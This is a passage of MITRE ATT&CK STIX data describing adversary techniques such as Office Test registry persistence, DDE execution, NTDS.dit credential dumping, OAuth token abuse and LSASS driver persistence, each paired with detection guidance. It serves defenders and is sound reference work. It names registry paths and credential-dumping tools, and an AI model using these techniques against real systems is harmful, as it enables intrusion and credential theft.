"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867", "type": "attack-pattern", "created": "2020-10-02T16:32:33.126Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1591.001", "url": "https://attack.mitre.org/techniques/T1591/001"}, {"source_name": "ThreatPost Broadvoice Leak", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}, {"source_name": "SEC EDGAR Search", "url": "https://www.sec.gov/edgar/search-and-access", "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."}], "modified": "2021-08-27T15:37:09.025Z", "name": "Determine Physical Locations", "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:41:55.175Z", "name": "Office Test", "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Creation", "Command: Command Execution", "File: File Modification", "Windows Registry: Windows Registry Key Modification", "File: File Creation", "Process: Process Creation", "Module: Module Load"], "type": "attack-pattern", "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "created": "2019-11-07T19:44:04.475Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/002", "external_id": "T1137.002"}, {"source_name": "Palo Alto Office Test Sofacy", "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"}, {"source_name": "Hexacorn Office Test", "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.", "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", "type": "attack-pattern", "created": "2020-10-01T01:30:00.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1587", "url": "https://attack.mitre.org/techniques/T1587"}, {"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "source_name": "Mandiant APT1"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}, {"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}, {"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}, {"source_name": "Splunk Kovar Certificates 2017", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}], "modified": "2021-10-17T16:07:08.768Z", "name": "Develop Capabilities", "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Malware Repository: Malware Content", "Malware Repository: Malware Metadata", "Internet Scan: Response Content"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1173", "url": "https://attack.mitre.org/techniques/T1173"}, {"url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"}, {"url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", "source_name": "Microsoft ADV170021 Dec 2017"}, {"url": "https://technet.microsoft.com/library/security/4053440", "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", "source_name": "Microsoft DDE Advisory Nov 2017"}, {"url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", "source_name": "SensePost PS DDE May 2016"}, {"url": "https://www.contextis.com/blog/comma-separated-vulnerabilities", "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", "source_name": "Kettle CSV DDE Aug 2014"}, {"url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", "source_name": "Enigma Reviving DDE Jan 2018"}, {"url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", "source_name": "SensePost MacroLess DDE Oct 2017"}, {"url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", "source_name": "NVisio Labs DDE Detection Oct 2017"}], "modified": "2022-02-09T20:22:43.284Z", "name": "Dynamic Data Exchange", "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-07-28T14:41:38.908Z", "name": "NTDS", "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Ed Williams, Trustwave, SpiderLabs"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access"], "x_mitre_system_requirements": ["Access to Domain Controller or backup"], "type": "attack-pattern", "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "created": "2020-02-11T18:42:35.572Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003/003", "external_id": "T1003.003"}, {"source_name": "Metcalf 2015", "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.", "url": "http://adsecurity.org/?p=1275"}, {"source_name": "Wikipedia Active Directory", "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.", "url": "https://en.wikipedia.org/wiki/Active_Directory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "type": "attack-pattern", "created": "2020-10-19T23:51:05.953Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1602.001", "url": "https://attack.mitre.org/techniques/T1602/001"}, {"source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP", "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051", "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020."}, {"source_name": "US-CERT-TA18-106A", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}, {"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities", "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3", "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."}], "modified": "2020-10-22T01:54:22.812Z", "name": "SNMP (MIB Dump)", "description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content"], "x_mitre_permissions_required": ["Administrator"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", "type": "attack-pattern", "created": "2020-03-15T00:37:58.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1001.002", "url": "https://attack.mitre.org/techniques/T1001/002"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-15T00:37:58.963Z", "name": "Steganography", "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "type": "attack-pattern", "created": "2020-03-11T14:43:31.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1204.001", "url": "https://attack.mitre.org/techniques/T1204/001"}], "modified": "2020-03-11T14:43:31.706Z", "name": "Malicious Link", "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-04-28T15:43:18.080Z", "name": "Application Access Token", "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Shailesh Tiwary (Indian Army)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Mark Wee", "Ian Davila, Tidal Cyber", "Dylan Silva, AWS Security", "Jack Burns, HubSpot", "Blake Strom, Microsoft Threat Intelligence", "Pawel Partyka, Microsoft Threat Intelligence"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "SaaS", "Google Workspace", "Containers", "IaaS", "Azure AD"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Web Credential: Web Credential Usage"], "x_mitre_defense_bypassed": ["System Access Controls"], "type": "attack-pattern", "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "created": "2020-01-30T17:37:22.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/001", "external_id": "T1550.001"}, {"source_name": "Crowdstrike AWS User Federation Persistence", "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"}, {"source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"}, {"source_name": "AWS Logging IAM Calls", "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html"}, {"source_name": "AWS Temporary Security Credentials", "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"}, {"source_name": "Microsoft Identity Platform Access 2019", "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"}, {"source_name": "Google Cloud Service Account Credentials", "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.", "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials"}, {"source_name": "GCP Monitoring Service Account Usage", "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.", "url": "https://cloud.google.com/iam/docs/service-account-monitoring"}, {"source_name": "okta", "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"}, {"source_name": "Rhino Security Labs Enumerating AWS Roles", "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.", "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration"}, {"source_name": "Staaldraad Phishing with OAuth 2017", "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "created": "2020-01-24T18:38:55.801Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.008", "url": "https://attack.mitre.org/techniques/T1547/008"}, {"source_name": "Microsoft LSA Protection Mar 2014", "url": "https://technet.microsoft.com/library/dn408187.aspx", "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017."}, {"source_name": "Microsoft DLL Security", "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017."}, {"source_name": "Microsoft Security Subsystem", "url": "https://technet.microsoft.com/library/cc961760.aspx", "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017."}, {"source_name": "TechNet Autoruns", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", "modified": "2022-04-20T16:34:43.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "LSASS Driver", "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine 